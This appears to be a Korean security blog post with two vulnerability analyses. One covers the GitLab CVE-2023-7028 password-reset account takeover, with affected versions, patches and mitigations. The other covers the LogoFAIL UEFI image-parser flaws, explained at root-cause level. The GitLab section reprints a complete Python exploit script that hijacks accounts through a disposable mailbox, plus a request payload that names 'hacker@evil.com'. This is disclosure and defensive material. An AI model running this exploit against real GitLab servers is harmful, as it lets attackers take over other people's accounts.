1. GitLab [1]

- 소프트웨어 개발 및 협업을 위한 다양한 솔루션을 제공하는 웹 기반 DevOps 플랫폼

> 깃 저장소 관리, CI/CD, 이슈 추적, 보안성 테스트 등
> GitLab CE: Community Edition / GitLab EE: Enterprise Edition

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-7028 [2]

 

- 취약한 버전의 GitLab에서 비밀번호 재설정 프로세스의 버그로 인해 발생하는 계정 탈취 취약점 (CVSS: 10.0)

사용자 개입 없이 계정을 탈취할 수 있음

> 비밀번호 재설정 기능을 악용하여 계정 비밀번호 재설정 이메일이 확인되지 않은 이메일 주소로 전달되는 취약점

취약한 버전
- GitLab Community Edition(CE) 및 Enterprise Edition(EE) 버전 정보
> 16.1 ~ 16.1.5
> 16.2 ~ 16.2.8
> 16.3 ~ 16.3.6
> 16.4 ~ 16.4.4
> 16.5 ~ 16.5.5
> 16.6 ~ 16.6.3
> 16.7 ~ 16.7.1

 

2.1 취약점 상세 [3]

- 23.05.01 GitLab 16.1.0 버전에서 보조 이메일 주소를 통한 비밀번호 재설정 기능 도입

> 구체적인 내용은 확인되지 않으나, 이메일 확인 프로세스의 버그로 인해 발생되는 것으로 판단됨

 

공격 대상 이메일과 공격자가 제어하는 보조 이메일 주소를 입력

> 공격자가 제어하는 보조 이메일 주소로 비밀번호 재설정 메시지 전송

※ 공격 대상 이메일에도 비밀번호 재설정 메시지가 전송됨

공격자는 전송된 메시지를 통해 비밀번호 재설정 프로세스를 하이재킹하여 비밀번호 변경 및 계정 탈취가 가능해짐

user[email][]=my.target@example.com&user[email][]=hacker@evil.com

 

2.2 PoC [4]

- PoC 동작 과정
① POST 메서드를 이용해 /user/password URL로 악성 요청 전송
② 응답에서 인증 토큰(authenticity_token) 추출 후 비밀번호 재설정 요청 전송
③ 공격 대상 이메일과 공격자 제어 이메일에 비밀번호 재설정 메시지 전송
④ 새로운 패스워드 설정 후 공격 대상 계정 및 재설정 비밀번호를 이용해 /users/sign_in URL로 접근 가능함을 안내

import requests
import argparse
from urllib.parse import urlparse, urlencode
from random import choice
from time import sleep
import re

requests.packages.urllib3.disable_warnings()

class OneSecMail_api:
    def __init__(self):
        self.url = "https://www.1secmail.com"
        self.domains = []

    def get_domains(self):
        print('[DEBUG] Scrapping available domains on 1secmail.com')
        html = requests.get(f'{self.url}').text
        pattern = re.compile(r'<option value="([a-z.1]+)" data-prefer')
        self.domains = pattern.findall(html)
        print(f'[DEBUG] {len(self.domains)} domains found')

    def get_email(self):
        print('[DEBUG] Getting temporary mail')
        if self.domains == []:
            self.get_domains()
        if self.domains == []:
            return None
        name = ''.join([choice('abcdefghijklmnopqrstuvwxyz0123456789') for _ in range(10)])
        domain = choice(self.domains)
        mail = f'{name}@{domain}'
        print(f'[DEBUG] Temporary mail: {mail}')
        return mail

    def get_mail_ids(self, name, domain):
        print(f'[DEBUG] Getting last mail for {name}@{domain}')
        html = requests.post(f'{self.url}/mailbox',
                             verify=False,
                             data={
                                 'action': 'getMessages',
                                 'login': name,
                                 'domain': domain
                             }).text
        pattern = re.compile(r'<a href="/mailbox/\?action=readMessageFull&(.*?)">')
        mails = pattern.findall(html)
        return mails

    def get_last_mail(self, mail):
        name, domain = mail.split('@')
        mails = self.get_mail_ids(name, domain)
        print(f'[DEBUG] {len(mails)} mail(s) found')
        if mails == []:
            return None
        print(f'[DEBUG] Reading the last one')
        html = requests.get(f'{self.url}/mailbox/?action=readMessageFull&{mails[0]}', verify=False).text
        content = html.split('<div id="messageBody">')[1].split('<div id="end1sMessageBody">')[0]
        return content


class CVE_2023_7028:
    def __init__(self, url, target, evil=None):
        self.use_temp_mail = False
        self.mail_api = OneSecMail_api()
        self.url = urlparse(url)
        self.target = target
        self.evil = evil
        self.s = requests.session()

        if self.evil is None:
            self.use_temp_mail = True
            self.evil = self.mail_api.get_email()
            if not self.evil:
                print('[DEBUG] Failed ... quitting')
                exit()

    def get_authenticity_token(self, code=''):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            endpoint = f'/users/password/edit?reset_password_token={code}'
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/{endpoint}', verify=False).text
            regex = r'<input type="hidden" name="authenticity_token" value="(.*?)" autocomplete="off" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def get_csrf_token(self):
        try:
            print('[DEBUG] Getting authenticity_token ...')
            html = self.s.get(f'{self.url.scheme}://{self.url.netloc}/users/password/new', verify=False).text
            regex = r'<meta name="csrf-token" content="(.*?)" />'
            token = re.findall(regex, html)[0]
            print(f'[DEBUG] authenticity_token = {token}')
            return token
        except Exception:
            print('[DEBUG] Failed ... quitting')
            return None

    def ask_reset(self):
        token = self.get_csrf_token()
        if not token:
            return False

        query_string = urlencode({
            'authenticity_token': token,
            'user[email][]': [self.target, self.evil]
        }, doseq=True)

        head = {
            'Origin': f'{self.url.scheme}://{self.url.netloc}',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Referer': f'{self.url.scheme}://{self.url.netloc}/users/password/new',
            'Connection': 'close',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate, br'
        }

        print('[DEBUG] Sending reset password request')
        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           data=query_string,
                           headers=head,
                           verify=False).text
        sended = 'If your email address exists in our database' in html
        if sended:
            print(f'[DEBUG] Emails sended to {self.target} and {self.evil} !')
        else:
            print('[DEBUG] Failed ... quitting')
        return sended

    def parse_email(self, content):
        try:
            pattern = re.compile(r'/users/password/edit\?reset_password_token=(.*?)"')
            token = pattern.findall(content)[0]
            return token
        except:
            return None

    def get_code(self, max_attempt=5, delay=7.5):
        if not self.use_temp_mail:
            url = input('\tInput link received by mail: ')
            pattern = re.compile(r'(https?://[^"]+/users/password/edit\?reset_password_token=([^"]+))')
            match = pattern.findall(url)
            if len(match) != 1:
                return None
            return match[0][1]
        else:
            for k in range(1, max_attempt+1):
                print(f'[DEBUG] Waiting mail, sleeping for {str(delay)} seconds')
                sleep(delay)
                print(f'[DEBUG] Getting link using temp-mail | Try N°{k} on {max_attempt}')
                last_email = self.mail_api.get_last_mail(self.evil)
                if last_email is not None:
                    code = self.parse_email(last_email)
                    return code

    def reset_password(self, password):
        code = self.get_code()

        if not code:
            print('[DEBUG] Failed ... quitting')
            return False

        print('[DEBUG] Generating new password')
        charset = 'abcdefghijklmnopqrstuvwxzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

        if password is None:
            password = ''.join(choice(charset) for _ in range(20))

        authenticity_token = self.get_authenticity_token(code)
        if authenticity_token is None:
            return False

        print(f'[DEBUG] Changing password to {password}')

        html = self.s.post(f'{self.url.scheme}://{self.url.netloc}/users/password',
                           verify=False,
                           data={
                               '_method': 'put',
                               'authenticity_token': authenticity_token,
                               'user[reset_password_token]': code,
                               'user[password]': password,
                               'user[password_confirmation]': password
                           }).text
        success = 'Your password has been changed successfully.' in html
        if success:
            print('[DEBUG] CVE_2023_7028 succeed !')
            print(f'\tYou can connect on {self.url.scheme}://{self.url.netloc}/users/sign_in')
            print(f'\tUsername: {self.target}')
            print(f'\tPassword: {password}')
        else:
            print('[DEBUG] Failed ... quitting')


def parse_args():
    parser = argparse.ArgumentParser(add_help=True, description='This tool automates CVE-2023-7028 on gitlab')
    parser.add_argument("-u", "--url", dest="url", type=str, required=True, help="Gitlab url")
    parser.add_argument("-t", "--target", dest="target", type=str, required=True, help="Target email")
    parser.add_argument("-e", "--evil", dest="evil", default=None, type=str, required=False, help="Evil email")
    parser.add_argument("-p", "--password", dest="password", default=None, type=str, required=False, help="Password")
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    exploit = CVE_2023_7028(
        url=args.url,
        target=args.target,
        evil=args.evil
    )
    if not exploit.ask_reset():
        exit()
    exploit.reset_password(password=args.password)

 

[사진 2] 비밀번호 재설정 요청 전송(위) 및 비밀번호 재설정 메일 공격자 수신 내역(아래) [5]

 

3. 대응방안

① 벤더사 제공 업데이트 및 권장사항 적용 [6]

- 해당 취약점을 포함한 5개의 취약점 패치를 제공하며, 즉각적인 조치가 필요

> 권장 사항 [7]
⒜ 여러 이메일 주소가 포함된 JSON 배열을 사용해 /users/password에 대한 HTTP 요청 로그(gitlab-rails/production_json.log)를 검토
⒝ 감사 로그(gitlab-rails/audit_json.log)에서 여러 이메일 주소의 JSON 배열이 포함된 PasswordsController#create와 관련된 항목이 있는지 확인

제품명 영향받는 버전 해결버전
GitLab CE/EE 16.1 ~ 16.1.5 16.1.6
16.2 ~ 16.2.8 16.2.9
16.3 ~ 16.3.6 16.3.7
16.4 ~ 16.4.4 16.4.5
16.5 ~ 16.5.5 16.5.6
16.6 ~ 16.6.3 16.6.4
16.7 ~ 16.7.1 16.7.2

 

② 모든 GitLab 계정에 대해 2단계 인증 적용

2단계 인증 활성화시 비밀번호 재설정 취약점은 여전히 존재하나 2단계 인증 방법에는 액세스 불가

 

③ GitLab에 저장된 모든 비밀을 변경 [8]

- GitLab 계정 비밀번호를 포함한 모든 자격 증명
- API 토큰
- 모든 인증서
- 다른 비밀 정보

 

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-7028
[3] https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
[4] https://github.com/Vozec/CVE-2023-7028
[5] https://0xweb01.medium.com/account-takeover-via-password-reset-without-user-interactions-cve-2023-7028-cbd2e675992e
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71289&menuNo=205020
[7] https://threatprotect.qualys.com/2024/01/15/gitlab-ee-ce-account-take-over-vulnerability-cve-2023-7028/
[8] https://docs.gitlab.com/ee/security/responding_to_security_incidents.html#suspected-compromised-user-account
[9] https://www.securityweek.com/gitlab-patches-critical-password-reset-vulnerability/
[10] https://thehackernews.com/2024/01/urgent-gitlab-releases-patch-for.html?m=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=152803

'취약점 > Hijacking' 카테고리의 다른 글

LogoFAIL 취약점  (0) 2023.12.12

1. 개요

- 세계 3대 BIOS 회사(Insyde, AMI, Phoenix)에서 만든 제품 전부에 영향을 주는(세계 PC 95%) 취약점이 발견 [1]

> 여러 취약점들을 통합한 이름으로 LogoFAIL 취약점으로 명명

> IBV(Independent BIOS Vendor)는 UEFI 펌웨어가 포함된 최신 시스템에 대해 다양한 형식의 이미지 파서를 제공

> 사용자 정의 로고를 통해 입력을 지정할 수 있으며, DXE 단계에서 취약점이 발생하는 것으로 판단됨 

- 취약점을 악용하는데 성공할 경우 엔드포인트에 존재하는 모든 보안 장치들이 무력화되며, 높은 권한을 획득

[사진 1] LogoFAIL

1.1 UEFI (Unified Extensible Firmware Interface) [2][3]

- 통합 확장 펌웨어 인터페이스
- 운영 체제와 플랫폼 펌웨어 사이의 소프트웨어 인터페이스를 정의하는 규격
- BIOS를 대체하는 펌웨어 규격으로, 16비트 BIOS의 제약 사항 극복 및 새로운 하드웨어의 유연한 지원을 위해 64비트 기반으로 개발

 

1.2 ESP (EFI system partition) [2][4]

- PC가 부팅되면 UEFI는 EFI 파티션에 저장된 파일을 로드하여 운영 체제 및 기타 필요한 유틸리티를 시작

 

1.3 DXE (Driver Execution Environment) [2][5]

- 대부분의 시스템 초기화가 수행

 

2. 취약점

- 3대 BIOS는 다양한 이미지 파서를 제공

> 이미지 파서는 부팅이나 BIOS 설정 중에 로고를 표시할 수 있도록 하기 위해 존재

> 벤더사는 사용자가 파서에 입력을 지정할 수 있는 사용자 정의 기능을 제공하며, 해당 기능이 취약점을 야기

Insyde 기반 펌웨어: BMP, GIF, JPEG, PCX, PNG, TGA 파서
AMI 기반 펌웨어: 단일 BMP 파서, BMP, PNG, JPEG, GIF 파서
※ Phoenix 기반 펌웨어: BMP, GIF, JPEG 파서

※ 제공하는 파서는 다를 수 있음

[사진 2] Insyde(上) AMI(中) Phoenix(下) 이미지 파서

 

- 침해된 이미지들을 EFI 시스템 파티션(ESP)이나 서명이 되지 않은 펌웨어 업데이트 영역에 삽입해 악성코드 실행

> 시스템 부팅 과정 자체를 공격자가 하이재킹 하는 것

> Secure Boot, Intel Boot Guard와 같은 보안 장치를 우회할 수 있으며, OS 단 밑에서 공격을 지속시키는 것도 가능

※ Secure Boot, Intel Boot Guard : 부팅시 펌웨어의 유효성 즉, 펌웨어의 서명을 확인해 유효한 경우 부팅을 시작 (서명을 이용해 부팅 프로세스를 검증) [6][7]

 

2.1 취약점 상세

- 일반적으로 로고는 펌웨어 볼륨에서 직접 읽어짐

> 볼륨은 하드웨어 기반 자체 검사 부팅 기술(예: Intel Boot Guard)로 서명 및 보호

> 공격자는 해당 섹션에 서명하는 데 사용된 OEM 캐인 키가 아닌 한 사용자 정의 로고를 사용할 수 없음

> OEM별 사용자 정의를 통해 로고를 사용할 수 있으며, 공격자 또한 동일한 방법이 사용 가능

※ OEM(Original Equipment Manufacturing): '주문자 상표 부착 생산', 주문자는 제품 계발 및 참여만 직접 하고, 생산은 하청업체나 다른 생산 라인 등에 외주

 

- OEM별 사용자 정의 로고를 읽는 방법은 다음과 같음

① 로고는 “\EFI\OEM\Logo.jpg” 와 같이 ESP의 고정 위치에서 읽혀짐

② OEM/IBV는 사용자 정의 로고를 설치하고 OS에서 캡슐을 플래시할 수 있는 공급업체별 통합 도구를 제공

③ NVRAM 변수에는 로고를 읽는 ESP 경로가 포함

④ 로고 자체는 압축된 형태로 NVRAM 변수 내에 저장

> 로고가 포함된 펌웨어 영역이 Boot Guard에 포함되지 않으면 공격에 악용될 수 있음

 

- 분석 결과 Insyde의 PNG 파서를 제외한 모든 파서는 하나 이상의 취약점이 존재

> 총 29개 중 15개는 임의 코드 실행을 야기

IBV 벤더 이미지 파서 고유한 근본 원인 수 악용 가능한 근본 원인 수 CWE
Insyde BMP 3 2 CWE-200: 민감한 정보 노출 
CWE-122: 힙 기반 버퍼 오버플로
GIF 4 2 CWE-122: 힙 기반 버퍼 오버플로 
CWE-125: 범위를 벗어난 읽기
JPEG 3 0 CWE-125: 범위를 벗어난 읽기 
CWE-476: NULL 포인터 역참조
PCX 1 0 CWE-200: 민감한 정보의 노출
PNG 0 0 -
TGA 1 1 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
AMI BMP 1 0 CWE-200: 민감한 정보의 노출
GIF 2 2 CWE-122: 힙 기반 버퍼 오버플로 
CWE-787: 범위를 벗어난 쓰기
JPEG 3 2 CWE-125: 범위를 벗어난 읽기
CWE-787: 범위를 벗어난 쓰기
PNG 6 4 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
CWE-190: 정수 오버플로
Phoenix BMP 3 1 CWE-122: 힙 기반 버퍼 오버플로
CWE-125: 범위를 벗어난 읽기
GIF 2 1 CWE-125: 범위를 벗어난 읽기

 

2.2 원인 및 PoC

- 근본적인 원인은 입력 데이터에 대한 유효성 검사의 부족

[사진 3] Insyde 펌웨어 BMP 파서 OOB 취약점

 

① Insyde 의 BMP 파서 버그

> RLE4/RLE8 압축을 지원하는 코드에서 취약점 발생

> PixelHeight (공격자 제어 가능) 및 변수 i 가 0 일 때 발생

> 이 경우 변수 Blt 는 BltBuffer [ PixelWidth * -1] 의 주소 로 초기화

> 공격자는 Blt를 BltBuffer 아래의 임의의 주소로 임의로 설정할 수 있음

 

[사진 4] AMI 펌웨어 PNG 파서 정수 오버플로

 

AMI 펌웨어 PNG 파서 버그

> 첫 번째 버그: 실패 시 NULL을 반환하는 "EfiLibAllocateZeroPool" 함수 의 반환 값에 대한 검사 누락

> 두 번째 버그: 할당 크기를 나타내는 32비트 정수의 정수 오버플로

※ 공격자가 변수 "PngWidth"를 큰 값으로 설정시 2를 곱한 결과가 오버플로되어 작은 값 할당(예: 0x80000200 * 2 = 0x400)

 

[사진 5] LogoFAIL 동작 과정

 

[영상 1] LogoFAIL 시연 영상

 

3. 참고

[1] https://binarly.io/posts/finding_logofail_the_dangers_of_image_parsing_during_system_boot/
[2] https://en.wikipedia.org/wiki/UEFI
[3] https://namu.wiki/w/UEFI
[4] https://en.wikipedia.org/wiki/EFI_system_partition
[5] https://uefi.org/specs/PI/1.8/V2_Overview.html
[6] https://learn.microsoft.com/ko-kr/windows-hardware/design/device-experiences/oem-secure-boot
[7] https://github.com/corna/me_cleaner/wiki/Intel-Boot-Guard
[8] https://www.boannews.com/media/view.asp?idx=124406&page=4&kind=1

'취약점 > Hijacking' 카테고리의 다른 글

GitLab EE/CE 계정 탈취 취약점 (CVE-2023-7028)  (0) 2024.01.16

+ Recent posts